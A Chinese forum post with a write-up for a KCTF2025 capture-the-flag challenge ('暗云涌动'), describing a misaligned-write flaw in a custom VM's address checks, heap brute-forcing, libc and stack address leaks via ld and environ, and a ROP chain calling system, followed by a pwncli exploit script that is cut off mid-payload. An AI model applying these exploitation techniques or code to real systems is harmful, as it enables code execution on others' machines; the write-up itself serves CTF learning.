论坛首页 CTF竞赛交流区 阅读主题

[原创]KCTF2025 第八题 暗云涌动 WriteUp

319 浏览 0 回复
#1 楼主 2026-06-01 21:08:55
指令长度为8的vm,结构体还原后如下:在store和load之前会校验地址的最高位是不是1,如果不是则跳过,所有对寄存器的操作都会判断结果是否在data段内或者stack段内,如果不在则会清空最高位。校验代码如下:
这里有一个漏洞,他只判断传入地址是否在这两个段内,没有判断是否是8字节对齐的,因此我们可以构造出一个错位的写,将被清空的最高位重新写为1,从而达成恶意地址写。还有一个问题是如何泄漏地址?sub_128B函数如果检测到地址非法,它会返回data段的基地址,唯一合法的情况是0x200000—0x201000和stack所在的堆地址。因此,我们可以通过从0x550000000320开始便利,如果返回的地址不是0x200000则可以说明已经爆破出堆地址。后续就是通过vm_globle中的code字段的地址泄漏ld地址,然后从ld的bss段中找到一个libc的函数从而泄漏libc地址。最后通过environ泄漏栈地址,将ROP链写入store函数返回处执行system即可。

```#!/usr/bin/env python3# Date: 2025-08-29 15:19:34# Link: 86bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9L8$3c8W2M7X3W2U0K9@1y4Z5j5h3&6Q4x3V1k6H3N6$3&6U0L8r3V1`.# Usage:#     Debug : python3 exp.py debug elf-file-path -t -b malloc#     Remote: python3 exp.py remote elf-file-path ip:portfrom pwncli import *cli_script()set_remote_libc('libc.so-2.6')io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libc# one_gadgets: list = get_current_one_gadget_from_libc(more=False)# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)def arg2reg(idx, data):    return p8(5)+p8(idx)+p8(0)+p8(0)+p32(data)def reg2reg(idx, idx1):    return p8(4)+p8(idx)+p8(idx1)+p8(0)+p32(0)def reg_xor_arg(idx, val):    return p8(0x10)+p8(idx)+p8(0)+p8(0)+p32(val)def jmp(idx, idx1, addr):    return p8(0x18)+p8(idx)+p8(idx1)+p8(0)+p32(addr)def pop(idx):    return p8(3)+p8(idx)+p8(0)+p8(0)+p32(0)def push_arg_with_head(val):    return p8(2)+p8(0)+p8(0)+p8(0)+p32(val)def push_arg(val):    return p8(1)+p8(0)+p8(0)+p8(0)+p32(val)def mul_arg(idx, val):    return p8(0xb)+p8(idx)+p8(0)+p8(0)+p32(val)def mul_reg(idx, idx1):    return p8(0xa)+p8(idx)+p8(idx1)+p8(0)+p32(0)def add_reg(idx, idx1):    return p8(6)+p8(idx)+p8(idx1)+p8(0)+p32(0)def add_arg(idx, val):    return p8(7)+p8(idx)+p8(0)+p8(0)+p32(val)def sub_reg(idx, idx1):    return p8(8)+p8(idx)+p8(idx1)+p8(0)+p32(0)def sub_arg(idx, val):    return p8(9)+p8(idx)+p8(0)+p8(0)+p32(val)def and_reg(idx, idx1):    return p8(0xe)+p8(idx)+p8(idx1)+p8(0)+p32(0)def and_arg(idx, val):    return p8(0xf)+p8(idx)+p8(0)+p8(0)+p32(val)def div_reg(idx, idx1):    return p8(0xc)+p8(idx)+p8(idx1)+p8(0)+p32(0)def div_arg(idx, val):    return p8(0xd)+p8(idx)+p8(0)+p8(0)+p32(val)def exit():    return p8(0x19)+p8(0)+p8(0)+p8(0)+p32(0)def store(idx, idx1):    return p8(0x15)+p8(idx)+p8(idx1)+p8(0)+p32(0)def load(idx, idx1):    return p8(0x14)+p8(idx)+p8(idx1)+p8(0)+p32(0)def jb(idx, idx1, val):    return p8(0x17)+p8(idx)+p8(idx1)+p8(0)+p32_ex(val)def je(idx, idx1, val):    return p8(0x18)+p8(idx)+p8(idx1)+p8(0)+p32_ex(val)heap_start = 0x550000000000code = b''# code += push_arg_with_head(0xdeadbeef)# code += pop(0)# code += add_arg(0, 8)# code += mul_arg(0, 0x2A800000)code += arg2reg(0, 0x800055)code += arg2reg(1, 0x1000000)code += arg2reg(2, 0x10000)code += mul_reg(0, 1)code += mul_reg(0, 2)code += arg2reg(3, 0xabcd)code += arg2reg(4, 0xf0000000)code += mul_arg(4, 0x1000)code += arg2reg(5, 0x328)code += arg2reg(6, 0)code += push_arg_with_head(0xdeadbeef)

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-288311.htm

暂无回复,快来抢沙发吧!

请登录后参与讨论

立即登录 注册账号